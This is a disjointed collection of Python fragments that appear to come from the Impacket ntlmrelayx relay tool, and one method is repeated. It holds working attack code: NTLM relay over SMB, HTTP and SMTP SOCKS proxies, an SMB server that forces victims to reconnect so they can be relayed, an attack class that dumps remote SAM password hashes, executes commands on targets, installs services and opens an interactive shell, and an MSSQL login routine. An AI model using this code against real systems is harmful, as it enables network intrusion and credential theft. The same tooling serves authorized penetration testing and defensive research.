'SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp.addCommand(respSMBCommand) self.__NBSession.send_packet(resp.getData()) return smbClient, username else: LOG.error( 'SOCKS: Can\'t handle standard security at the moment!') return None else: respSMBCommand = SMB2SessionSetup_Response() sessionSetupData = SMB2SessionSetup(recvPacket['Data']) securityBlob = sessionSetupData['Buffer'] rawNTLM = False if unpack('B', securityBlob[0])[0] == ASN1_AID: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(securityBlob) token = blob['MechToken'] if len(blob['MechTypes'][0]) > 0: # Is this GSSAPI NTLM or something else we don't support? mechType = blob['MechTypes'][0] if mechType != TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider']: # Nope, do we know it? if MechTypes.has_key(mechType): mechStr = MechTypes[mechType] else: mechStr = hexlify(mechType) LOG.debug( "Unsupported MechType '%s', we just want NTLMSSP, answering" % mechStr) # We don't know the token, we answer back again saying # we just support NTLM. # ToDo: Build this into a SPNEGO_NegTokenResp() respToken = '\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken resp = SMB2Packet() resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR resp['Status'] = STATUS_SUCCESS resp['CreditRequestResponse'] = 1 resp['CreditCharge'] = recvPacket['CreditCharge'] resp['Command'] = recvPacket['Command'] resp['SessionID'] = 0 resp['Reserved'] = recvPacket['Reserved'] resp['MessageID'] = recvPacket['MessageID'] resp['TreeID'] = recvPacket['TreeID'] resp['Data'] = respSMBCommand self.__NBSession.send_packet(resp.getData()) recvPacket, smbCommand = self.getSMBPacket() return self.processSessionSetup(recvPacket) elif unpack('B', securityBlob[0])[0] == ASN1_SUPPORTED_MECH: # AUTH packet blob = SPNEGO_NegTokenResp(securityBlob) token = blob['ResponseToken'] else: # No GSSAPI stuff, raw NTLMSSP rawNTLM = True token = securityBlob # NEGOTIATE_MESSAGE # First of all, we should received a type 1 message. Let's answer it challengeMessage = self.sessionData['CHALLENGE_MESSAGE'] challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN) if rawNTLM is False: respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() else: respToken = challengeMessage resp = SMB2Packet() resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR resp['Status'] = STATUS_MORE_PROCESSING_REQUIRED resp['CreditRequestResponse'] = 1 resp['CreditCharge'] = recvPacket['CreditCharge'] resp['Command'] = recvPacket['Command'] resp['SessionID'] = 0 resp['Reserved'] = recvPacket['Reserved'] resp['MessageID'] = recvPacket['MessageID'] resp['TreeID'] = recvPacket['TreeID'] respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() resp['Data'] = respSMBCommand self.__NBSession.send_packet(resp.getData()) recvPacket, smbCommand = self.getSMBPacket() sessionSetupData = SMB2SessionSetup(recvPacket['Data']) securityBlob = sessionSetupData['Buffer'] blob = SPNEGO_NegTokenResp(securityBlob) token = blob['ResponseToken'] # AUTHENTICATE_MESSAGE, here we deal with authentication authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(token) try: username = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')) ).upper() except UnicodeDecodeError: # Not Unicode encoded? username = ('%s/%s' % (authenticateMessage['domain_name'], authenticateMessage['user_name'])).upper() respToken = SPNEGO_NegTokenResp() # Check if we have a connection for the user if self.activeRelays.has_key(username): LOG.info('SOCKS: Proxying client session for %s@%s(445)' % (username, self.targetHost)) errorCode = STATUS_SUCCESS smbClient = self.activeRelays[username][ 'protocolClient'].session uid = smbClient.getSMBServer()._Session['SessionID'] else: LOG.error('SOCKS: No session for %s@%s(445) available' % (username, self.targetHost)) errorCode = STATUS_ACCESS_DENIED uid = 0 smbClient = None # accept-completed respToken['NegResult'] = '\x00' resp = SMB2Packet() resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR resp['Status'] = errorCode resp['CreditRequestResponse'] = 1 resp['CreditCharge'] = recvPacket['CreditCharge'] resp['Command'] = recvPacket['Command'] resp['SessionID'] = uid resp['Reserved'] = recvPacket['Reserved'] resp['MessageID'] = recvPacket['MessageID'] resp['TreeID'] = recvPacket['TreeID'] respSMBCommand['SecurityBufferOffset'] = 0x48 # This is important for SAMBA client to work. If it is not set as a guest session, # SAMBA will *not* like the fact that the packets are not signed (even tho it was not enforced). respSMBCommand['SessionFlags'] = SMB2_SESSION_FLAG_IS_GUEST respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() resp['Data'] = respSMBCommand self.__NBSession.send_packet(resp.getData()) return smbClient, username
class SMBAttack(ProtocolAttack): """ This is the SMB default attack class. It will either dump the hashes from the remote target, or open an interactive shell if the -i option is specified. """ PLUGIN_NAMES = ["SMB"] def __init__(self, config, SMBClient, username): ProtocolAttack.__init__(self, config, SMBClient, username) if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection=SMBClient) else: self.__SMBConnection = SMBClient self.__answerTMP = '' if self.config.interactive: #Launch locally listening interactive shell self.tcpshell = TcpShell() else: self.tcpshell = None if self.config.exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile) def __answer(self, data): self.__answerTMP += data def run(self): # Here PUT YOUR CODE! if self.tcpshell is not None: LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) #Start listening and launch interactive shell self.tcpshell.listen() self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile) self.shell.cmdloop() return if self.config.exeFile is not None: result = self.installService.install() if result is True: LOG.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges if self.config.enumLocalAdmins: LOG.info(u"Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection) try: localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins() LOG.info(u"Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) for name in localAdminNames: LOG.info(u"Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name)) except DCERPCException, e: LOG.info("SAMR access denied") return # Something else went wrong. aborting LOG.error(str(e)) return try: if self.config.command is not None: remoteOps._RemoteOperations__executeRemote(self.config.command) LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') print self.__answerTMP.decode(self.config.encoding, 'replace') else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: LOG.error(str(e))
def run(self): # Here PUT YOUR CODE! if self.tcpshell is not None: LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) #Start listening and launch interactive shell self.tcpshell.listen() self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile) self.shell.cmdloop() return if self.config.exeFile is not None: result = self.installService.install() if result is True: LOG.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges if self.config.enumLocalAdmins: LOG.info(u"Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection) try: localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins() LOG.info(u"Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) for name in localAdminNames: LOG.info(u"Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name)) except DCERPCException, e: LOG.info("SAMR access denied") return # Something else went wrong. aborting LOG.error(str(e)) return
def skipAuthentication(self): # See if the user provided authentication data = self.socksSocket.recv(self.packetSize) # Get headers from data headerDict = self.getHeaders(data) try: creds = headerDict['authorization'] if 'Basic' not in creds: raise KeyError() basicAuth = base64.b64decode(creds[6:]).decode("ascii") self.username = basicAuth.split(':')[0].upper() if '@' in self.username: # Workaround for clients which specify users with the full FQDN # such as ruler user, domain = self.username.split('@', 1) # Currently we only use the first part of the FQDN # this might break stuff on tools that do use an FQDN # where the domain NETBIOS name is not equal to the part # before the first . self.username = '******' % (domain.split('.')[0], user) # Check if we have a connection for the user if self.username in self.activeRelays: # Check the connection is not inUse if self.activeRelays[self.username]['inUse'] is True: LOG.error( 'HTTP: Connection for %s@%s(%s) is being used at the moment!' % (self.username, self.targetHost, self.targetPort)) return False else: LOG.info('HTTP: Proxying client session for %s@%s(%s)' % (self.username, self.targetHost, self.targetPort)) self.session = self.activeRelays[ self.username]['protocolClient'].session else: LOG.error('HTTP: No session for %s@%s(%s) available' % (self.username, self.targetHost, self.targetPort)) return False except KeyError: # User didn't provide authentication yet, prompt for it LOG.debug( 'No authentication provided, prompting for basic authentication' ) reply = [ b'HTTP/1.1 401 Unauthorized', b'WWW-Authenticate: Basic realm="ntlmrelayx - provide a DOMAIN/username"', b'Connection: close', b'', b'' ] self.socksSocket.send(EOL.join(reply)) return False # When we are here, we have a session # Point our socket to the sock attribute of HTTPConnection # (contained in the session), which contains the socket self.relaySocket = self.session.sock # Send the initial request to the server tosend = self.prepareRequest(data) self.relaySocket.send(tosend) # Send the response back to the client self.transferResponse() return True
def login(self, database, username, password='', domain='', hashes=None, useWindowsAuth=False): if hashes is not None: lmhash, nthash = hashes.split(':') lmhash = binascii.a2b_hex(lmhash) nthash = binascii.a2b_hex(nthash) else: lmhash = '' nthash = '' resp = self.preLogin() # Test this! if resp['Encryption'] == TDS_ENCRYPT_REQ or resp[ 'Encryption'] == TDS_ENCRYPT_OFF: LOG.info("Encryption required, switching to TLS") # Switching to TLS now ctx = SSL.Context(SSL.TLSv1_METHOD) ctx.set_cipher_list('RC4') tls = SSL.Connection(ctx, None) tls.set_connect_state() while True: try: tls.do_handshake() except SSL.WantReadError: data = tls.bio_read(4096) self.sendTDS(TDS_PRE_LOGIN, data, 0) tds = self.recvTDS() tls.bio_write(tds['Data']) else: break # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement, # Transport Layer Security(TLS), limit data fragments to 16k in size. self.packetSize = 16 * 1024 - 1 self.tlsSocket = tls login = TDS_LOGIN() login['HostName'] = (''.join([ random.choice(string.letters) for i in range(8) ])).encode('utf-16le') login['AppName'] = (''.join([ random.choice(string.letters) for i in range(8) ])).encode('utf-16le') login['ServerName'] = self.server.encode('utf-16le') login['CltIntName'] = login['AppName'] login['ClientPID'] = random.randint(0, 1024) login['PacketSize'] = self.packetSize if database is not None: login['Database'] = database.encode('utf-16le') login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON if useWindowsAuth is True: login['OptionFlags2'] |= TDS_INTEGRATED_SECURITY_ON # NTLMSSP Negotiate auth = ntlm.getNTLMSSPType1('WORKSTATION', '') login['SSPI'] = str(auth) else: login['UserName'] = username.encode('utf-16le') login['Password'] = self.encryptPassword( password.encode('utf-16le')) login['SSPI'] = '' login['Length'] = len(str(login)) # Send the NTLMSSP Negotiate or SQL Auth Packet self.sendTDS(TDS_LOGIN7, str(login)) # According to the spects, if encryption is not required, we must encrypt just # the first Login packet :-o if resp['Encryption'] == TDS_ENCRYPT_OFF: self.tlsSocket = None tds = self.recvTDS() if useWindowsAuth is True: serverChallenge = tds['Data'][3:] # Generate the NTLM ChallengeResponse AUTH type3, exportedSessionKey = ntlm.getNTLMSSPType3( auth, serverChallenge, username, password, domain, lmhash, nthash) self.sendTDS(TDS_SSPI, str(type3)) tds = self.recvTDS() self.replies = self.parseReply(tds['Data']) if self.replies.has_key(TDS_LOGINACK_TOKEN): return True else: return False
def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) authenticateMessage = connData['AUTHENTICATE_MESSAGE'] self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() # Uncommenting this will stop at the first connection relayed and won't relaying until all targets # are processed. There might be a use case for this #if 'relayToHost' in connData: # # Connection already relayed, let's just answer the request (that will return object not found) # return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket) try: if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor( singleTarget='SMB://%s:445/' % connData['ClientIP']) if self.authUser == '/': LOG.info( 'SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' % (connId, connData['ClientIP'])) return self.origsmbComTreeConnectAndX(connId, smbServer, recvPacket) self.target = self.targetprocessor.getTarget( identity=self.authUser) if self.target is None: # No more targets to process, just let the victim to fail later LOG.info( 'SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % (connId, self.authUser, connData['ClientIP'])) return self.origsmbComTreeConnectAndX(connId, smbServer, recvPacket) LOG.info( 'SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser, connData['ClientIP'], self.target.scheme, self.target.netloc)) if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True # Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['relayToHost'] = True connData['Authenticated'] = False del (connData['NEGOTIATE_MESSAGE']) del (connData['CHALLENGE_MESSAGE']) del (connData['AUTHENTICATE_MESSAGE']) connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) resp = smb.NewSMBPacket() resp['Flags1'] = smb.SMB.FLAGS1_REPLY resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \ recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Pid'] = connData['Pid'] respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) respParameters = smb.SMBTreeConnectAndXResponse_Parameters() respData = smb.SMBTreeConnectAndXResponse_Data() treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters( SMBCommand['Parameters']) if treeConnectAndXParameters['Flags'] & 0x8: respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters( ) treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags=recvPacket['Flags2']) treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters[ 'PasswordLength'] treeConnectAndXData.fromString(SMBCommand['Data']) ## Process here the request, does the share exist? UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) # Is this a UNC? if ntpath.ismount(UNCOrShare): path = UNCOrShare.split('\\')[3] else: path = ntpath.basename(UNCOrShare) # This is the key, force the client to reconnect. # It will loop until all targets are processed for this user errorCode = STATUS_NETWORK_SESSION_EXPIRED resp['ErrorCode'] = errorCode >> 16 resp['_reserved'] = 0o3 resp['ErrorClass'] = errorCode & 0xff if path == 'IPC$': respData['Service'] = 'IPC' else: respData['Service'] = path respData['PadLen'] = 0 respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS') respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp['Uid'] = connData['Uid'] resp.addCommand(respSMBCommand) smbServer.setConnectionData(connId, connData) return None, [resp], errorCode
def skipAuthentication(self): self.socksSocket.send('220 Microsoft ESMTP MAIL Service ready' + EOL) # Next should be the client sending the EHLO command cmd, params = self.recvPacketClient().split(' ', 1) if cmd.upper() == 'EHLO': clientcapabilities = self.getServerEhlo().split('\n') # Don't offer these AUTH options so the client won't use them # also don't offer STARTTLS since that will break things blacklist = ['X-EXPS GSSAPI NTLM', 'STARTTLS', 'AUTH NTLM'] for cap in blacklist: if cap in clientcapabilities: clientcapabilities.remove(cap) # Offer PLAIN auth for specifying the username if 'AUTH PLAIN' not in clientcapabilities: clientcapabilities.append('AUTH PLAIN') # Offer LOGIN for specifying the username if 'AUTH LOGIN' not in clientcapabilities: clientcapabilities.append('AUTH LOGIN') LOG.debug('SMTP: Sending mirrored capabilities from server: %s' % ', '.join(clientcapabilities)) # Prepare capabilities delim = EOL + '250-' caps = delim.join(clientcapabilities[:-1] ) + EOL + '250 ' + clientcapabilities[-1] + EOL self.socksSocket.send('250-%s' % caps) else: LOG.error( 'SMTP: Socks plugin expected EHLO command, but got: %s %s' % (cmd, params)) return False # next cmd, params = self.recvPacketClient().split(' ', 1) args = params.split(' ') if cmd.upper() == 'AUTH' and args[0] == 'LOGIN': # OK, ask for their username self.socksSocket.send('334 VXNlcm5hbWU6' + EOL) # Client will now send their AUTH data = self.socksSocket.recv(self.packetSize) # This contains base64(username), decode creds = base64.b64decode(data.strip()) self.username = creds.upper() # Client will now send the password, we don't care for it but receive it anyway self.socksSocket.send('334 UGFzc3dvcmQ6' + EOL) data = self.socksSocket.recv(self.packetSize) elif cmd.upper() == 'AUTH' and args[0] == 'PLAIN': # Simple login # This contains base64(\x00username\x00password), decode and split creds = base64.b64decode(args[1].strip()) self.username = creds.split('\x00')[1].upper() else: LOG.error( 'SMTP: Socks plugin expected AUTH PLAIN or AUTH LOGIN command, but got: %s %s' % (cmd, params)) return False # Check if we have a connection for the user if self.activeRelays.has_key(self.username): # Check the connection is not inUse if self.activeRelays[self.username]['inUse'] is True: LOG.error( 'SMTP: Connection for %s@%s(%s) is being used at the moment!' % (self.username, self.targetHost, self.targetPort)) return False else: LOG.info('SMTP: Proxying client session for %s@%s(%s)' % (self.username, self.targetHost, self.targetPort)) self.session = self.activeRelays[ self.username]['protocolClient'].session else: LOG.error('SMTP: No session for %s@%s(%s) available' % (self.username, self.targetHost, self.targetPort)) return False # We arrived here, that means all is OK self.socksSocket.send('235 2.7.0 Authentication successful%s' % EOL) self.relaySocket = self.session.sock self.relaySocketFile = self.session.file return True